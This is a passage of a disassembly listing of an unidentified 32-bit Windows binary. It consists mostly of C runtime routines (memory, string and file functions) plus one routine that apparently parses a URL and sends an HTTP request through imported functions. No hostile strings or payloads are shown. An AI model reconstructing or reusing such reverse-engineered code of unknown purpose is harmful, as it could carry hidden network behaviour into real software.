					; sub_401ACD+72F6p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	dword_4CB73C, 0
		jnz	short loc_41AD63
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CB518
		test	eax, eax
		jnz	short loc_41AD4C
		lea	eax, [ebp+var_8C]
		push	offset dword_43A87C
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AD4C:				; CODE XREF: sub_41ACF7+40j
		test	[ebp+var_C], 1
		jz	short loc_41AD59
		push	offset dword_43A874
		jmp	short loc_41AD5E
; ---------------------------------------------------------------------------


loc_41AD59:				; CODE XREF: sub_41ACF7+59j
		push	offset off_43A870


loc_41AD5E:				; CODE XREF: sub_41ACF7+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41AD7B
; ---------------------------------------------------------------------------


loc_41AD63:				; CODE XREF: sub_41ACF7+28j
		mov	esi, offset off_43A86C
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_41AD7B:				; CODE XREF: sub_41ACF7+6Aj
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43A828
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41ACF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB6	proc near		; DATA XREF: sub_401ACD+7715o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43A95C
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41B590
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CB550
		test	eax, eax
		jz	loc_41AF50
		cmp	[ebp+var_34], ebx
		jbe	short loc_41AE8D
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AE8D:				; CODE XREF: sub_41ADB6+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41AEAB
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEAB:				; CODE XREF: sub_41ADB6+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41AEC5
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEC5:				; CODE XREF: sub_41ADB6+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41AEDF
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEDF:				; CODE XREF: sub_41ADB6+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CB604
		call	dword_4CB628
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41AF68
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CB61C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41AF6F
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CB5C8
		test	eax, eax
		jz	short loc_41AF49
		push	offset dword_43A940
		jmp	short loc_41AF74
; ---------------------------------------------------------------------------


loc_41AF49:				; CODE XREF: sub_41ADB6+18Aj
		push	offset unk_43A904
		jmp	short loc_41AF74
; ---------------------------------------------------------------------------


loc_41AF50:				; CODE XREF: sub_41ADB6+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43A8E8
		push	eax
		call	sub_41B886
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41AF82
; ---------------------------------------------------------------------------


loc_41AF68:				; CODE XREF: sub_41ADB6+153j
		push	offset unk_43A8BC
		jmp	short loc_41AF74
; ---------------------------------------------------------------------------


loc_41AF6F:				; CODE XREF: sub_41ADB6+17Bj
		push	offset unk_43A88C


loc_41AF74:				; CODE XREF: sub_41ADB6+191j
					; sub_41ADB6+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AF82:				; CODE XREF: sub_41ADB6+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41AFAD
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409A73
		add	esp, 14h


loc_41AFAD:				; CODE XREF: sub_41ADB6+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	esi
		call	dword_4CB688
		push	[ebp+var_4]
		call	dword_4CB688
		push	[ebp+var_1D8]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	near ptr 26E0000h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_41ADB6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B000


loc_41AFEC:				; CODE XREF: sub_41AFE0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B033
		test	ecx, 3
		jnz	short loc_41AFEC
		add	eax, 0


loc_41B000:				; CODE XREF: sub_41AFE0+Aj
					; sub_41AFE0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B000
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B051
		test	ah, ah
		jz	short loc_41B047
		test	eax, 0FF0000h
		jz	short loc_41B03D
		test	eax, 0FF000000h
		jz	short loc_41B033
		jmp	short loc_41B000
; ---------------------------------------------------------------------------


loc_41B033:				; CODE XREF: sub_41AFE0+11j
					; sub_41AFE0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B03D:				; CODE XREF: sub_41AFE0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B047:				; CODE XREF: sub_41AFE0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B051:				; CODE XREF: sub_41AFE0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41AFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B05B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+58DBp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B070
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B0AA
; ---------------------------------------------------------------------------


loc_41B070:				; CODE XREF: sub_41B05B+Ej
		test	al, 83h
		jz	short loc_41B0A8
		push	esi
		call	sub_41DB8B
		push	esi
		mov	edi, eax
		call	sub_41DB25
		push	dword ptr [esi+10h]
		call	sub_41DA72
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B096
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B0A8
; ---------------------------------------------------------------------------


loc_41B096:				; CODE XREF: sub_41B05B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B0A8
		push	eax
		call	sub_41B0B1
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41B0A8:				; CODE XREF: sub_41B05B+17j
					; sub_41B05B+39j ...
		mov	eax, edi


loc_41B0AA:				; CODE XREF: sub_41B05B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B05B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0B1	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40AB32+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B117
		mov	eax, dword_4DCFE8
		cmp	eax, 3
		jnz	short loc_41B0DD
		push	esi
		call	sub_41DE77
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B109
		push	eax
		call	sub_41DEA2
		pop	ecx
		pop	ecx
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B0DD:				; CODE XREF: sub_41B0B1+14j
		cmp	eax, 2
		jnz	short loc_41B108
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B108
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 0Ch
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B108:				; CODE XREF: sub_41B0B1+2Fj
					; sub_41B0B1+44j
		push	esi


loc_41B109:				; CODE XREF: sub_41B0B1+20j
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 2790000h


loc_41B117:				; CODE XREF: sub_41B0B1+Aj
					; sub_41B0B1+2Aj ...
		pop	esi
		leave
		retn
sub_41B0B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B11A	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040F08Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B13E
		xor	eax, eax
		jmp	loc_41B1E7
; ---------------------------------------------------------------------------


loc_41B13E:				; CODE XREF: sub_41B11A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B151
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B151:				; CODE XREF: sub_41B11A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B15A:				; CODE XREF: sub_41B11A+C4j
		mov	ecx, [ebp+arg_0]


loc_41B15D:				; CODE XREF: sub_41B11A+35j
					; sub_41B11A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B18F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B18F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B174
		mov	edi, eax


loc_41B174:				; CODE XREF: sub_41B11A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41C310
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B18F:				; CODE XREF: sub_41B11A+49j
					; sub_41B11A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41B1C2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41B1A5
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41B1A5:				; CODE XREF: sub_41B11A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B1EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B1F2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B1C2:				; CODE XREF: sub_41B11A+78j
		push	esi
		call	sub_41F043
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B1F6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41B1DA:				; CODE XREF: sub_41B11A+73j
					; sub_41B11A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B15A
		mov	eax, [ebp+arg_8]


loc_41B1E7:				; CODE XREF: sub_41B11A+1Fj
					; sub_41B11A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41B1EC:				; CODE XREF: sub_41B11A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41B1F6
; ---------------------------------------------------------------------------


loc_41B1F2:				; CODE XREF: sub_41B11A+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41B1F6:				; CODE XREF: sub_41B11A+B2j
					; sub_41B11A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41B1E7
sub_41B11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B202	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41CFD3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B21D
		push	[ebp+arg_4]
		call	sub_41B4D5
		pop	ecx
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B21D:				; CODE XREF: sub_41B202+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41B232
		push	[ebp+arg_0]
		call	sub_41B0B1
		pop	ecx
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B232:				; CODE XREF: sub_41B202+20j
		mov	eax, dword_4DCFE8
		cmp	eax, 3
		jnz	loc_41B342


loc_41B240:				; CODE XREF: sub_41B202+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B31E
		push	[ebp+arg_0]
		call	sub_41DE77
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41B2F9
		cmp	esi, dword_4DCFE0
		ja	short loc_41B2B2
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41E680
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B2AE
		push	esi
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B2B2
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B292
		mov	eax, esi


loc_41B292:				; CODE XREF: sub_41B202+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41C310
		push	ebx
		call	sub_41DE77
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41DEA2
		add	esp, 18h


loc_41B2AE:				; CODE XREF: sub_41B202+74j
		test	edi, edi
		jnz	short loc_41B2F5


loc_41B2B2:				; CODE XREF: sub_41B202+62j
					; sub_41B202+81j
		test	esi, esi
		jnz	short loc_41B2B9
		push	1
		pop	esi


loc_41B2B9:				; CODE XREF: sub_41B202+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 27A0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B2F5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B2E1
		mov	eax, esi


loc_41B2E1:				; CODE XREF: sub_41B202+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41C310
		push	[ebp+arg_0]
		push	ebx
		call	sub_41DEA2
		add	esp, 14h


loc_41B2F5:				; CODE XREF: sub_41B202+AEj
					; sub_41B202+D0j
		test	ebx, ebx
		jnz	short loc_41B31A


loc_41B2F9:				; CODE XREF: sub_41B202+56j
		test	esi, esi
		jnz	short loc_41B300
		push	1
		pop	esi


loc_41B300:				; CODE XREF: sub_41B202+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 2830000h
		mov	edi, eax


loc_41B31A:				; CODE XREF: sub_41B202+F5j
		test	edi, edi
		jnz	short loc_41B33B


loc_41B31E:				; CODE XREF: sub_41B202+43j
		cmp	dword_4DB9DC, 0
		jz	short loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B240
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B33B:				; CODE XREF: sub_41B202+11Aj
					; sub_41B202+123j ...
		mov	eax, edi
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B342:				; CODE XREF: sub_41B202+38j
		cmp	eax, 2
		jnz	loc_41B45D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B35F
		test	esi, esi
		jbe	short loc_41B35C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B35F
; ---------------------------------------------------------------------------


loc_41B35C:				; CODE XREF: sub_41B202+150j
		push	10h
		pop	esi


loc_41B35F:				; CODE XREF: sub_41B202+14Cj
					; sub_41B202+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B43F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41B423
		cmp	esi, dword_43C9D4
		jnb	short loc_41B3E7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EF9A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41B3AD
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B3DF
; ---------------------------------------------------------------------------


loc_41B3AD:				; CODE XREF: sub_41B202+1A4j
		push	edi
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B3E7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B3C6
		mov	eax, esi


loc_41B3C6:				; CODE XREF: sub_41B202+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h


loc_41B3DF:				; CODE XREF: sub_41B202+1A9j
		test	edi, edi
		jnz	loc_41B33B


loc_41B3E7:				; CODE XREF: sub_41B202+18Bj
					; sub_41B202+1B6j
		push	esi
		push	0
		push	dword_4DCFE4
		call	near ptr 27A0000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B43F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B408
		mov	eax, esi


loc_41B408:				; CODE XREF: sub_41B202+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h
		jmp	short loc_41B437
; ---------------------------------------------------------------------------


loc_41B423:				; CODE XREF: sub_41B202+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFE4
		call	near ptr 2830000h
		nop
		mov	edi, eax


loc_41B437:				; CODE XREF: sub_41B202+21Fj
		test	edi, edi
		jnz	loc_41B33B


loc_41B43F:				; CODE XREF: sub_41B202+162j
					; sub_41B202+1F8j
		cmp	dword_4DB9DC, 0
		jz	loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B35F
		jmp	short loc_41B49B
; ---------------------------------------------------------------------------


loc_41B45D:				; CODE XREF: sub_41B202+143j
					; sub_41B202+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B487
		test	esi, esi
		jnz	short loc_41B46B
		push	1
		pop	esi


loc_41B46B:				; CODE XREF: sub_41B202+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 2830000h
		test	eax, eax
		jnz	short loc_41B49D


loc_41B487:				; CODE XREF: sub_41B202+260j
		cmp	dword_4DB9DC, 0
		jz	short loc_41B49D
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B45D


loc_41B49B:				; CODE XREF: sub_41B202+2Bj
					; sub_41B202+134j ...
		xor	eax, eax


loc_41B49D:				; CODE XREF: sub_41B202+16j
					; sub_41B202+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B202	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4A2	proc near		; CODE XREF: sub_41B4C2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F49D
		test	eax, eax
		jnz	short loc_41B4AC
		retn
; ---------------------------------------------------------------------------


loc_41B4AC:				; CODE XREF: sub_41B4A2+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F32D
		add	esp, 10h
		retn
sub_41B4A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4C2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+58AFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B4A2
		add	esp, 0Ch
		retn
sub_41B4C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4D5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40AB32+63p ...

arg_0		= dword	ptr  4

		push	dword_4DB9DC
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41B4D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4E7	proc near		; CODE XREF: sub_41B4D5+Ap
					; sub_41CFC5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41B510


loc_41B4EE:				; CODE XREF: sub_41B4E7+27j
		push	[esp+arg_0]
		call	sub_41B513
		test	eax, eax
		pop	ecx
		jnz	short locret_41B512
		cmp	[esp+arg_4], eax
		jz	short locret_41B512
		push	[esp+arg_0]
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B4EE


loc_41B510:				; CODE XREF: sub_41B4E7+5j
		xor	eax, eax

locret_41B512:				; CODE XREF: sub_41B4E7+13j
					; sub_41B4E7+19j
		retn
sub_41B4E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B513	proc near		; CODE XREF: sub_41B4E7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DCFE8
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41B537
		cmp	esi, dword_4DCFE0
		ja	short loc_41B569
		push	esi
		call	sub_41E1CB
		test	eax, eax
		pop	ecx
		jz	short loc_41B569
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B537:				; CODE XREF: sub_41B513+Dj
		cmp	eax, 2
		jnz	short loc_41B569
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41B54C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B54F
; ---------------------------------------------------------------------------


loc_41B54C:				; CODE XREF: sub_41B513+2Fj
		push	10h
		pop	esi


loc_41B54F:				; CODE XREF: sub_41B513+37j
		cmp	esi, dword_43C9D4
		ja	short loc_41B576
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		test	eax, eax
		pop	ecx
		jnz	short loc_41B585
		jmp	short loc_41B576
; ---------------------------------------------------------------------------


loc_41B569:				; CODE XREF: sub_41B513+15j
					; sub_41B513+20j ...
		test	esi, esi
		jnz	short loc_41B570
		push	1
		pop	esi


loc_41B570:				; CODE XREF: sub_41B513+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41B576:				; CODE XREF: sub_41B513+42j
					; sub_41B513+54j
		push	esi
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 27A0000h


loc_41B585:				; CODE XREF: sub_41B513+52j
		pop	esi
		retn
sub_41B513	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B590	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41B5E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41B5D7
		neg	ecx
		and	ecx, 3
		jz	short loc_41B5B9
		sub	edx, ecx


loc_41B5B3:				; CODE XREF: sub_41B590+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41B5B3


loc_41B5B9:				; CODE XREF: sub_41B590+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41B5D7
		rep stosd
		test	edx, edx
		jz	short loc_41B5DD


loc_41B5D7:				; CODE XREF: sub_41B590+18j
					; sub_41B590+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41B5D7


loc_41B5DD:				; CODE XREF: sub_41B590+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B5E3:				; CODE XREF: sub_41B590+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41B590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B5F0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
